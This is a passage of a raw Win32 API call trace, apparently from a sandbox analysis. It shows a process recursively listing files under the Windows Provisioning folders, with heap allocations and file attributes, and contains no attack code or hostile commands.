ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.097] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0272.097] GetProcessHeap () returned 0xc10000 [0272.097] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.097] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.097] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0272.097] GetProcessHeap () returned 0xc10000 [0272.097] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.097] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0272.496] GetProcessHeap () returned 0xc10000 [0272.496] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0272.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x65f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.497] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.498] GetProcessHeap () returned 0xc10000 [0272.498] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0272.498] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.499] GetProcessHeap () returned 0xc10000 [0272.499] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0272.499] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0272.500] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0272.500] GetProcessHeap () returned 0xc10000 [0272.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.500] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.500] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.500] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0272.500] GetProcessHeap () returned 0xc10000 [0272.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.500] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.500] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0272.500] GetProcessHeap () returned 0xc10000 [0272.500] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.501] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0272.501] GetProcessHeap () returned 0xc10000 [0272.501] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.502] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef7d10, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.502] GetProcessHeap () returned 0xc10000 [0272.502] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.503] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.503] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.503] GetProcessHeap () returned 0xc10000 [0272.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0272.504] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0272.504] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0272.504] GetProcessHeap () returned 0xc10000 [0272.504] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.504] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.504] GetProcessHeap () returned 0xc10000 [0272.504] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.505] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.505] GetProcessHeap () returned 0xc10000 [0272.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0272.505] GetProcessHeap () returned 0xc10000 [0272.505] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.507] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54134c0b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1144, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540c24cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.508] GetProcessHeap () returned 0xc10000 [0272.508] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", 